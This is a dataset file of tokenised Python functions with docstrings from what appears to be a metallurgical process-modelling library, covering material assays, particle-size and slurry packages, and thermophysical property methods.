{"signature": "def get_assay_total(self, name):", "body": "return sum(self.assays[name])<EOL>", "docstring": "Calculate the total of the specified assay.\n\n:param name: The name of the assay.\n\n:returns: The total mass fraction of the specified assay.", "id": "f15826:c0:m6"}
{"signature": "def create_package(self, assay=None, mass=<NUM_LIT:0.0>, normalise=True):", "body": "if assay is None:<EOL><INDENT>return MaterialPackage(self, <NUM_LIT:1.0>, <NUM_LIT:0.0>, self.create_empty_assay())<EOL><DEDENT>if normalise:<EOL><INDENT>assay_total = self.get_assay_total(assay)<EOL>if assay_total == <NUM_LIT:0.0>:<EOL><INDENT>assay_total = <NUM_LIT:1.0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>assay_total = <NUM_LIT:1.0><EOL><DEDENT>H2O_mass = mass * self.H2O_fractions[assay]<EOL>solid_mass = mass - H2O_mass<EOL>return MaterialPackage(self,<EOL>self.solid_densities[assay],<EOL>H2O_mass,<EOL>solid_mass * self.assays[assay] / assay_total)<EOL>", "docstring": "Create a MaterialPackage based on the specified parameters.\n\n:param assay: The name of the assay based on which the package\n  must be created.\n:param mass: [kg] The mass of the package.\n:param normalise: Indicates whether the assay must be normalised\n  before creating the package.\n\n:returns: The created MaterialPackage.", "id": "f15826:c0:m7"}
{"signature": "def __str__(self):", "body": "result = \"<STR_LIT>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT>) + self.material.name + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT>) +str(self.get_mass_fraction_solids()) + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT>) +str(self.get_volume_fraction_solids()) + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT>) +str(self.solid_density) + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT>) +str(self.get_density()) + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT>) + str(self.get_mass()) + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT>) + str(self.H2O_mass) + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT>) + str(self.get_volume()) + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\"<EOL>for size_class in self.material.size_classes:<EOL><INDENT>index = self.material.get_size_class_index(size_class)<EOL>result = result + str(size_class).ljust(<NUM_LIT>) + str(<EOL>self.size_class_masses[index]) + \"<STR_LIT:\\n>\"<EOL><DEDENT>return result<EOL>", "docstring": "Create a string representation of the object.", "id": "f15826:c1:m1"}
{"signature": "def __add__(self, other):", "body": "<EOL>if type(other) is MaterialPackage:<EOL><INDENT>solid_mass = self.get_solid_mass()<EOL>other_solid_mass = other.get_solid_mass()<EOL>solid_density = (solid_mass + other_solid_mass) /(solid_mass / self.solid_density +<EOL>other_solid_mass / other.solid_density)<EOL>H2O_mass = self.H2O_mass + other.H2O_mass<EOL>if self.material == other.material:<EOL><INDENT>result = MaterialPackage(<EOL>self.material,<EOL>solid_density,<EOL>H2O_mass,<EOL>self.size_class_masses + other.size_class_masses)<EOL>return result<EOL><DEDENT>else:  <EOL><INDENT>result = self.clone()<EOL>result.solid_density = solid_density<EOL>result.H2O_mass = H2O_mass<EOL>for size_class in other.material.size_classes:<EOL><INDENT>if size_class not in self.material.size_classes:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\" + other.material.name +<EOL>\"<STR_LIT>\" +<EOL>self.material.name + \"<STR_LIT>\" +<EOL>size_class + \"<STR_LIT>\" +<EOL>self.material.name + \"<STR_LIT>\")<EOL><DEDENT>result = result + (<EOL>size_class, other.get_size_class_mass(size_class))<EOL><DEDENT>return result<EOL><DEDENT><DEDENT>elif self._is_H2O_mass_tuple(other):<EOL><INDENT>mass = other[<NUM_LIT:1>]<EOL>result = self.clone()<EOL>result.H2O_mass += mass<EOL>return result<EOL><DEDENT>elif self._is_size_class_mass_tuple(other):<EOL><INDENT>size_class = other[<NUM_LIT:0>]<EOL>compound_index = self.material.get_size_class_index(size_class)<EOL>mass = other[<NUM_LIT:1>]<EOL>result = self.clone()<EOL>result.size_class_masses[compound_index] =result.size_class_masses[compound_index] + mass<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Addition operator (+).\nAdd self and 'other' together, return the result as a new package,\nand leave self unchanged.\n\n:param other: Can can be one of the following:\n  1. MaterialPackage: 'other' is added to self to create a new package.\n  2. tuple: (size class, mass) The specified mass of the specified size\n  class is added to self.\n\n:returns: A new Material package that is the sum of self and 'other'.", "id": "f15826:c1:m2"}
{"signature": "def __mul__(self, scalar):", "body": "<EOL>if type(scalar) is float ortype(scalar) is numpy.float64 ortype(scalar) is numpy.float32:<EOL><INDENT>if scalar < <NUM_LIT:0.0>:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>result = MaterialPackage(<EOL>self.material,<EOL>self.solid_density,<EOL>self.H2O_mass * scalar, self.size_class_masses * scalar)<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "The multiplication operator (*).\nCreate a new package by multiplying self with other.\n\n:param scalar: The result is a new package with its content equal to\n  self multiplied by a scalar, leaving self unchanged.\n\n:returns: A new MaterialPackage equal to self package multiplied by\n  other.", "id": "f15826:c1:m3"}
{"signature": "def _is_size_class_mass_tuple(self, value):", "body": "if not type(value) is tuple:<EOL><INDENT>return False<EOL><DEDENT>elif not len(value) == <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:0>]) is float:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines whether value is a tuple of the format\n(size class(float), mass(float)).\n\n:param value: The value to check.\n\n:returns: Whether the value is a tuple in the required format.", "id": "f15826:c1:m4"}
{"signature": "def _is_H2O_mass_tuple(self, value):", "body": "if not type(value) is tuple:<EOL><INDENT>return False<EOL><DEDENT>elif not len(value) == <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:0>]) is str and not value[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines whether value is a tuple of the format\n(size class(float), mass(float)).\n\n:param value: The value to check.\n\n:returns: Whether the value is a tuple in the required format.", "id": "f15826:c1:m5"}
{"signature": "def clone(self):", "body": "result = copy.copy(self)<EOL>result.size_class_masses = copy.deepcopy(self.size_class_masses)<EOL>return result<EOL>", "docstring": "Create a complete copy of self.\n\n:returns: A MaterialPackage that is identical to self.", "id": "f15826:c1:m6"}
{"signature": "def clear(self):", "body": "self.solid_density = <NUM_LIT:1.0><EOL>self.H2O_mass = <NUM_LIT:0.0><EOL>self.size_class_masses = self.size_class_masses * <NUM_LIT:0.0><EOL>", "docstring": "Set all the size class masses and H20_mass in the package to zero\nand the solid_density to 1.0", "id": "f15826:c1:m7"}
{"signature": "def get_assay(self):", "body": "return self.size_class_masses / self.size_class_masses.sum()<EOL>", "docstring": "Determine the assay of self.\n\n:returns: [mass fractions] An array containing the assay of self.", "id": "f15826:c1:m8"}
{"signature": "def get_mass(self):", "body": "return self.size_class_masses.sum() + self.H2O_mass<EOL>", "docstring": "Determine the mass of self.\n\n:returns: [kg] The mass of self.", "id": "f15826:c1:m9"}
{"signature": "def get_solid_mass(self):", "body": "return self.size_class_masses.sum()<EOL>", "docstring": "Determine the solid mass of self.\n\n:returns: [kg] The solid mass of self.", "id": "f15826:c1:m10"}
{"signature": "def get_size_class_mass(self, size_class):", "body": "return self.size_class_masses[self.material.get_size_class_index(<EOL>size_class)]<EOL>", "docstring": "Determine the mass of the specified size class in self.\n\n:param size_class: The formula and phase of the size class,\n  e.g. 'Fe2O3[S1]'\n\n:returns: [kg] The mass of the size class in self.", "id": "f15826:c1:m11"}
{"signature": "def get_size_class_mass_fraction(self, size_class):", "body": "return self.get_size_class_mass(size_class) / self.get_solid_mass()<EOL>", "docstring": "Determine the mass fraction of the specified size class in self.\n\n:param size_class: The formula and phase of the size class,\n  e.g. Fe2O3[S1]\n\n:returns: The mass fraction of the size class in self.", "id": "f15826:c1:m12"}
{"signature": "def get_density(self):", "body": "return self.get_mass() / self.get_volume()<EOL>", "docstring": "Determine the density of self.", "id": "f15826:c1:m13"}
{"signature": "def get_mass_fraction_solids(self):", "body": "return self.get_solid_mass() / self.get_mass()<EOL>", "docstring": "Determine the mass fraction of the solids of self.", "id": "f15826:c1:m14"}
{"signature": "def get_volume(self):", "body": "return self.H2O_mass / <NUM_LIT:1.0> + self.get_solid_mass() / self.solid_density<EOL>", "docstring": "Determine the volume of self.", "id": "f15826:c1:m15"}
{"signature": "def get_volume_fraction_solids(self):", "body": "return <NUM_LIT:1.0> - (self.H2O_mass / <NUM_LIT:1.0>) / self.get_volume()<EOL>", "docstring": "Determine the volume fraction of the solids of self.", "id": "f15826:c1:m16"}
{"signature": "def extract(self, other):", "body": "<EOL>if type(other) is float ortype(other) is numpy.float64 ortype(other) is numpy.float32:<EOL><INDENT>if other > self.get_mass():<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>fraction_to_subtract = other / self.get_mass()<EOL>result = MaterialPackage(<EOL>self.material,<EOL>self.solid_density,<EOL>self.H2O_mass * fraction_to_subtract,<EOL>self.size_class_masses * fraction_to_subtract)<EOL>self.H2O_mass = self.H2O_mass * (<NUM_LIT:1.0> - fraction_to_subtract)<EOL>self.size_class_masses =self.size_class_masses * (<NUM_LIT:1.0> - fraction_to_subtract)<EOL>return result<EOL><DEDENT>elif self._is_H2O_mass_tuple(other):<EOL><INDENT>if other[<NUM_LIT:1>] > self.H2O_mass:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.H2O_mass = self.H2O_mass - other[<NUM_LIT:1>]<EOL>resultarray = self.size_class_masses * <NUM_LIT:0.0><EOL>result = MaterialPackage(<EOL>self.material, self.solid_density, other[<NUM_LIT:1>], resultarray)<EOL>return result<EOL><DEDENT>elif self._is_size_class_mass_tuple(other):<EOL><INDENT>index = self.material.get_size_class_index(other[<NUM_LIT:0>])<EOL>if other[<NUM_LIT:1>] > self.size_class_masses[index]:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.size_class_masses[index] =self.size_class_masses[index] - other[<NUM_LIT:1>]<EOL>resultarray = self.size_class_masses*<NUM_LIT:0.0><EOL>resultarray[index] = other[<NUM_LIT:1>]<EOL>result = MaterialPackage(<EOL>self.material, self.solid_density, <NUM_LIT:0.0>, resultarray)<EOL>return result<EOL><DEDENT>elif type(other) is str:<EOL><INDENT>index = self.material.get_size_class_index(float(other))<EOL>result = self * <NUM_LIT:0.0><EOL>result.size_class_masses[index] = self.size_class_masses[index]<EOL>self.size_class_masses[index] = <NUM_LIT:0.0><EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Extract 'other' from self, modifying self and returning the extracted\nmaterial as a new package.\n\n:param other: Can be one of the following:\n\n  * float: A mass equal to other is extracted from self. Self is\n    reduced by other and the extracted package is returned as a new\n    package.\n  * tuple (size class, mass): The other tuple specifies the mass of a\n    size class to be extracted. It is extracted from self and the\n    extracted mass is returned as a new package.\n  * string: The 'other' string specifies the size class to be\n    extracted. All of the mass of that size class will be removed from\n    self and a new package created with it.\n\n\n:returns: A new material package containing the material that was\n  extracted from self.", "id": "f15826:c1:m17"}
{"signature": "def __str__(self):", "body": "result = \"<STR_LIT>\" + self.name + \"<STR_LIT>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT:20>)<EOL>assay_names = sorted(self.assays.keys())<EOL>for assay_name in assay_names:<EOL><INDENT>result = result + assay_name.ljust(<NUM_LIT:20>)<EOL><DEDENT>result = result + \"<STR_LIT:\\n>\"<EOL>for size_class in self.size_classes:<EOL><INDENT>result = result + str(size_class).ljust(<NUM_LIT:20>)<EOL>compound_index = self.get_size_class_index(size_class)<EOL>for assay_name in assay_names:<EOL><INDENT>result = result + str(<EOL>self.assays[assay_name][compound_index]).ljust(<NUM_LIT:20>)<EOL><DEDENT>result = result + \"<STR_LIT:\\n>\"<EOL><DEDENT>return result<EOL>", "docstring": "Create a string representation of self.", "id": "f15827:c0:m1"}
{"signature": "def _prepare_lines(self, lines):", "body": "result = list()<EOL>for line in lines:<EOL><INDENT>line = line.strip()<EOL>line = line.replace(\"<STR_LIT:\\t>\", \"<STR_LIT:U+0020>\")<EOL>while line.find(\"<STR_LIT:U+0020>\") > -<NUM_LIT:1>:<EOL><INDENT>line = line.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:U+0020>\")<EOL><DEDENT>result.append(line)<EOL><DEDENT>return result<EOL>", "docstring": "Prepare the lines read from the text file before starting to process\nit.", "id": "f15827:c0:m2"}
{"signature": "def get_size_class_index(self, size_class):", "body": "return self.size_classes.index(size_class)<EOL>", "docstring": "Determine the index of the specified size class.\n\n:param size_class: The formula and phase of the specified size class,\n  e.g. 'Fe2O3[S1]'.\n\n:returns: The index of the specified size class.", "id": "f15827:c0:m3"}
{"signature": "def create_empty_assay(self):", "body": "return numpy.zeros(self.size_class_count)<EOL>", "docstring": "Create an empty array to store an assay. The array's length will be\nequal to the number of size classes in the material.\n\n:returns: A floating point array.", "id": "f15827:c0:m4"}
{"signature": "def add_assay(self, name, assay):", "body": "if not type(assay) is numpy.ndarray:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>elif not assay.shape == (self.size_class_count,):<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif name in self.assays.keys():<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.assays[name] = assay<EOL>", "docstring": "Add an assay to the material.\n\n:param name: The name of the new assay.\n:param assay: A numpy array containing the size class mass fractions\n  for the assay. The sequence of the assay's elements must correspond\n  to the sequence of the material's size classes.", "id": "f15827:c0:m5"}
{"signature": "def get_assay_total(self, name):", "body": "return sum(self.assays[name])<EOL>", "docstring": "Calculate the total of the specified assay.\n\n:param name: The name of the assay.\n\n:returns: The total mass fraction of the specified assay.", "id": "f15827:c0:m6"}
{"signature": "def create_package(self, assay=None, mass=<NUM_LIT:0.0>, normalise=True):", "body": "if assay is None:<EOL><INDENT>return MaterialPackage(self, self.create_empty_assay())<EOL><DEDENT>if normalise:<EOL><INDENT>assay_total = self.get_assay_total(assay)<EOL><DEDENT>else:<EOL><INDENT>assay_total = <NUM_LIT:1.0><EOL><DEDENT>return MaterialPackage(self, mass * self.assays[assay] / assay_total)<EOL>", "docstring": "Create a MaterialPackage based on the specified parameters.\n\n:param assay: The name of the assay based on which the package must be\n  created.\n:param mass: [kg] The mass of the package.\n:param normalise: Indicates whether the assay must be normalised before\n  creating the package.\n\n:returns: The created MaterialPackage.", "id": "f15827:c0:m7"}
{"signature": "def __str__(self):", "body": "result = \"<STR_LIT>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT:20>) + self.material.name + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\".ljust(<NUM_LIT:20>) + str(self.get_mass()) + \"<STR_LIT:\\n>\"<EOL>result = result + \"<STR_LIT>\"<EOL>for size_class in self.material.size_classes:<EOL><INDENT>index = self.material.get_size_class_index(size_class)<EOL>result = result + str(size_class).ljust(<NUM_LIT:20>) + str(<EOL>self.size_class_masses[index]) + \"<STR_LIT:\\n>\"<EOL><DEDENT>return result<EOL>", "docstring": "Create a string representation of the object.", "id": "f15827:c1:m1"}
{"signature": "def __add__(self, other):", "body": "<EOL>if type(other) is MaterialPackage:<EOL><INDENT>if self.material == other.material:<EOL><INDENT>result = MaterialPackage(<EOL>self.material,<EOL>self.size_class_masses + other.size_class_masses)<EOL>return result<EOL><DEDENT>else:  <EOL><INDENT>result = self.clone()<EOL>for size_class in other.material.size_classes:<EOL><INDENT>if size_class not in self.material.size_classes:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\" + other.material.name +<EOL>\"<STR_LIT>\" +<EOL>self.material.name +<EOL>\"<STR_LIT>\" + size_class +<EOL>\"<STR_LIT>\" + self.material.name + \"<STR_LIT>\")<EOL><DEDENT>result = result + (<EOL>size_class,<EOL>other.get_size_class_mass(size_class))<EOL><DEDENT>return result<EOL><DEDENT><DEDENT>elif self._is_size_class_mass_tuple(other):<EOL><INDENT>size_class = other[<NUM_LIT:0>]<EOL>compound_index = self.material.get_size_class_index(size_class)<EOL>mass = other[<NUM_LIT:1>]<EOL>result = self.clone()<EOL>result.size_class_masses[compound_index] =result.size_class_masses[compound_index] + mass<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Addition operator (+).\nAdd self and 'other' together, return the result as a new package, and\nleave self unchanged.\n\n:param other: Can can be one of the following:\n  1. MaterialPackage: 'other' is added to self to create a new package.\n  2. tuple: (size class, mass): The specified mass of the specified\n  size class is added to self.\n\n:returns: A new Material package that is the sum of self and 'other'.", "id": "f15827:c1:m2"}
{"signature": "def __mul__(self, scalar):", "body": "<EOL>if type(scalar) is float ortype(scalar) is numpy.float64 ortype(scalar) is numpy.float32:<EOL><INDENT>if scalar < <NUM_LIT:0.0>:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>result = MaterialPackage(<EOL>self.material, self.size_class_masses * scalar)<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "The multiplication operator (*).\nCreate a new package by multiplying self with other.\n\n:param scalar: The result is a new package with its content equal to\n  self multiplied by a scalar, leaving self unchanged.\n\n:returns: A new MaterialPackage equal to self package multiplied by\n  other.", "id": "f15827:c1:m3"}
{"signature": "def _is_size_class_mass_tuple(self, value):", "body": "if not type(value) is tuple:<EOL><INDENT>return False<EOL><DEDENT>elif not len(value) == <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:0>]) is float:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines whether value is a tuple of the format\n(size class(float), mass(float)).\n\n:param value: The value to check.\n\n:returns: Whether the value is a tuple in the required format.", "id": "f15827:c1:m4"}
{"signature": "def clone(self):", "body": "result = copy.copy(self)<EOL>result.size_class_masses = copy.deepcopy(self.size_class_masses)<EOL>return result<EOL>", "docstring": "Create a complete copy of self.\n\n:returns: A MaterialPackage that is identical to self.", "id": "f15827:c1:m5"}
{"signature": "def clear(self):", "body": "self.size_class_masses = self.size_class_masses * <NUM_LIT:0.0><EOL>", "docstring": "Set all the size class masses in the package to zero.", "id": "f15827:c1:m6"}
{"signature": "def get_assay(self):", "body": "return self.size_class_masses / self.size_class_masses.sum()<EOL>", "docstring": "Determine the assay of self.\n\n:returns: [mass fractions] An array containing the assay of self.", "id": "f15827:c1:m7"}
{"signature": "def get_mass(self):", "body": "return self.size_class_masses.sum()<EOL>", "docstring": "Determine the mass of self.\n\nreturns: [kg] The mass of self.", "id": "f15827:c1:m8"}
{"signature": "def get_size_class_mass(self, size_class):", "body": "return self.size_class_masses[self.material.get_size_class_index(<EOL>size_class)]<EOL>", "docstring": "Determine the mass of the specified size class in self.\n\n:param size_class: The formula and phase of the size class,\n  e.g. 'Fe2O3[S1]'\n\n:returns: [kg] The mass of the size class in self.", "id": "f15827:c1:m9"}
{"signature": "def get_size_class_mass_fraction(self, size_class):", "body": "return self.get_size_class_mass(size_class) / self.get_mass()<EOL>", "docstring": "Determine the mass fraction of the specified size class in self.\n\n:param size_class: The formula and phase of the size class,\n  e.g. 'Fe2O3[S1]'\n\n:returns: The mass fraction of the size class in self.", "id": "f15827:c1:m10"}
{"signature": "def extract(self, other):", "body": "<EOL>if type(other) is float ortype(other) is numpy.float64 ortype(other) is numpy.float32:<EOL><INDENT>if other > self.get_mass():<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>fraction_to_subtract = other / self.get_mass()<EOL>result = MaterialPackage(<EOL>self.material, self.size_class_masses * fraction_to_subtract)<EOL>self.size_class_masses = self.size_class_masses * (<EOL><NUM_LIT:1.0> - fraction_to_subtract)<EOL>return result<EOL><DEDENT>elif self._is_size_class_mass_tuple(other):<EOL><INDENT>index = self.material.get_size_class_index(other[<NUM_LIT:0>])<EOL>if other[<NUM_LIT:1>] > self.size_class_masses[index]:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.size_class_masses[index] =self.size_class_masses[index] - other[<NUM_LIT:1>]<EOL>resultarray = self.size_class_masses*<NUM_LIT:0.0><EOL>resultarray[index] = other[<NUM_LIT:1>]<EOL>result = MaterialPackage(self.material, resultarray)<EOL>return result<EOL><DEDENT>elif type(other) is str:<EOL><INDENT>index = self.material.get_size_class_index(float(other))<EOL>result = self * <NUM_LIT:0.0><EOL>result.size_class_masses[index] = self.size_class_masses[index]<EOL>self.size_class_masses[index] = <NUM_LIT:0.0><EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Extract 'other' from self, modifying self and returning the extracted\nmaterial as a new package.\n\n:param other: Can be one of the following:\n\n  * float: A mass equal to other is extracted from self. Self is\n    reduced by other and the extracted package is returned as a new\n    package.\n  * tuple (size class, mass): The other tuple specifies the mass\n    of a size class to be extracted. It is extracted from self and\n    the extracted mass is returned as a new package.\n  * string: The 'other' string specifies the size class to be\n    extracted. All of the mass of that size class will be removed\n    from self and a new package created with it.\n\n\n:returns: A new material package containing the material that was\n  extracted from self.", "id": "f15827:c1:m11"}
{"signature": "def add_to(self, other):", "body": "<EOL>if type(other) is MaterialPackage:<EOL><INDENT>if self.material == other.material:<EOL><INDENT>self.size_class_masses =self.size_class_masses + other.size_class_masses<EOL><DEDENT>else:  <EOL><INDENT>for size_class in other.material.size_classes:<EOL><INDENT>if size_class not in self.material.size_classes:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\" + other.material.name +<EOL>\"<STR_LIT>\" +<EOL>self.material.name +<EOL>\"<STR_LIT>\" + size_class +<EOL>\"<STR_LIT>\" + self.material.name + \"<STR_LIT>\")<EOL><DEDENT>self.add_to(<EOL>(size_class, other.get_size_class_mass(size_class)))<EOL><DEDENT><DEDENT><DEDENT>elif self._is_size_class_mass_tuple(other):<EOL><INDENT>size_class = other[<NUM_LIT:0>]<EOL>compound_index = self.material.get_size_class_index(size_class)<EOL>mass = other[<NUM_LIT:1>]<EOL>self.size_class_masses[compound_index] =self.size_class_masses[compound_index] + mass<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Add another psd material package to this material package.\n\n:param other: The other material package.", "id": "f15827:c1:m12"}
{"signature": "def alpha(self, **state):", "body": "return self.k(**state) / self.rho(**state) / self.Cp(**state)<EOL>", "docstring": "Calculate the alpha value given the material state.\n\n:param **state: material state\n\n:returns: float", "id": "f15830:c0:m1"}
{"signature": "def beta(self, **state):", "body": "raise NotImplementedError()<EOL>", "docstring": "Calculate the alpha value given the material state.\n\n:param **state: material state\n\n:returns: float", "id": "f15830:c0:m2"}
{"signature": "def Cp(self, **state):", "body": "raise NotImplementedError()<EOL>", "docstring": "Calculate the Cp value given the material state.\n\n:param **state: material state\n\n:returns: float", "id": "f15830:c0:m3"}
{"signature": "def k(self, **state):", "body": "raise NotImplementedError()<EOL>", "docstring": "Calculate the k value given the material state.\n\n:param **state: material state\n\n:returns: float", "id": "f15830:c0:m4"}
{"signature": "def mu(self, **state):", "body": "raise NotImplementedError()<EOL>", "docstring": "Calculate the mu value given the material state.\n\n:param **state: material state\n\n:returns: float", "id": "f15830:c0:m5"}
{"signature": "def nu(self, **state):", "body": "return self.mu(**state) / self.rho(**state)<EOL>", "docstring": "Calculate the nu value given the material state.\n\n:param **state: material state\n\n:returns: float", "id": "f15830:c0:m6"}
{"signature": "def rho(self, **state):", "body": "raise NotImplementedError()<EOL>", "docstring": "Calculate the rho value given the material state.\n\n:param **state: material state\n\n:returns: float", "id": "f15830:c0:m7"}
{"signature": "def _prepare_lines_(self, lines):", "body": "result = []<EOL>for line in lines:<EOL><INDENT>line = line.strip()<EOL>line = line.replace('<STR_LIT:\\t>', '<STR_LIT:U+0020>')<EOL>while line.find('<STR_LIT:U+0020>') > -<NUM_LIT:1>:<EOL><INDENT>line = line.replace('<STR_LIT:U+0020>', '<STR_LIT:U+0020>')<EOL><DEDENT>result.append(line)<EOL><DEDENT>return result<EOL>", "docstring": "Prepare the lines read from the text file before starting to process\nit.", "id": "f15833:c0:m4"}
{"signature": "def _create_element_list_(self):", "body": "element_set = stoich.elements(self.compounds)<EOL>return sorted(list(element_set))<EOL>", "docstring": "Extract an alphabetically sorted list of elements from the compounds of\nthe material.\n\n:returns: An alphabetically sorted list of elements.", "id": "f15833:c0:m5"}
{"signature": "def get_compound_index(self, compound):", "body": "return self.compounds.index(compound)<EOL>", "docstring": "Determine the index of the specified compound.\n\n:param compound: The formula and phase of the specified compound, e.g.\n  'Fe2O3[S1]'.\n\n:returns: The index of the specified compound.", "id": "f15833:c0:m6"}
{"signature": "def create_empty_assay(self):", "body": "return [<NUM_LIT:0>] * self.compound_count<EOL>", "docstring": "Create an empty array to store an assay. The array's length will be\nequal to the number of compounds in the material.\n\n:returns: A floating point array.", "id": "f15833:c0:m7"}
{"signature": "def add_assay(self, name, assay):", "body": "if not type(assay) is list:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif not len(assay) == self.compound_count:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>elif name in self.assays:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>self.assays[name] = assay<EOL>", "docstring": "Add an assay to the material.\n\n:param name: The name of the new assay.\n:param assay: A list containing the compound mass fractions for\n  the assay. The sequence of the assay's elements must correspond to\n  the sequence of the material's compounds.", "id": "f15833:c0:m8"}
{"signature": "def get_assay_total(self, name):", "body": "return sum(self.assays[name])<EOL>", "docstring": "Calculate the total of the specified assay.\n\n:param name: The name of the assay.\n\n:returns: The total mass fraction of the specified assay.", "id": "f15833:c0:m9"}
{"signature": "def create_package(self, assay=None, mass=<NUM_LIT:0.0>, normalise=True):", "body": "if assay is None:<EOL><INDENT>return MaterialPackage(self, self.create_empty_assay())<EOL><DEDENT>if normalise:<EOL><INDENT>assay_total = self.get_assay_total(assay)<EOL><DEDENT>else:<EOL><INDENT>assay_total = <NUM_LIT:1.0><EOL><DEDENT>masses = [(mass * m) / assay_total for m in self.assays[assay]]<EOL>return MaterialPackage(self, masses)<EOL>", "docstring": "Create a MaterialPackage based on the specified parameters.\n\n:param assay: The name of the assay based on which the package must be\n  created.\n:param mass: [kg] The mass of the package.\n:param normalise: Indicates whether the assay must be normalised before\n  creating the package.\n\n:returns: The created MaterialPackage.", "id": "f15833:c0:m10"}
{"signature": "def __add__(self, other):", "body": "<EOL>if type(other) is MaterialPackage:<EOL><INDENT>if self.material == other.material:<EOL><INDENT>result = MaterialPackage(<EOL>self.material,<EOL>self.compound_masses + other.compound_masses)<EOL>return result<EOL><DEDENT>else:  <EOL><INDENT>result = self.clone()<EOL>for compound in other.material.compounds:<EOL><INDENT>if compound not in self.material.compounds:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\" + other.material.name +<EOL>\"<STR_LIT>\" +<EOL>self.material.name +<EOL>\"<STR_LIT>\" + compound +<EOL>\"<STR_LIT>\" + self.material.name + \"<STR_LIT>\")<EOL><DEDENT>result += (compound, other.get_compound_mass(compound))<EOL><DEDENT>return result<EOL><DEDENT><DEDENT>elif self._is_compound_mass_tuple(other):<EOL><INDENT>compound = other[<NUM_LIT:0>]<EOL>compound_index = self.material.get_compound_index(compound)<EOL>mass = other[<NUM_LIT:1>]<EOL>result = self.clone()<EOL>result.compound_masses[compound_index] += mass<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Add self and 'other' together, return the result as a new package, and\nleave self unchanged.\n\n:param other: Can can be one of the following:\n  1. MaterialPackage: 'other' is added to self to create a new package.\n  2. tuple: (compound, mass): The specified mass of the specified\n  compound is added to 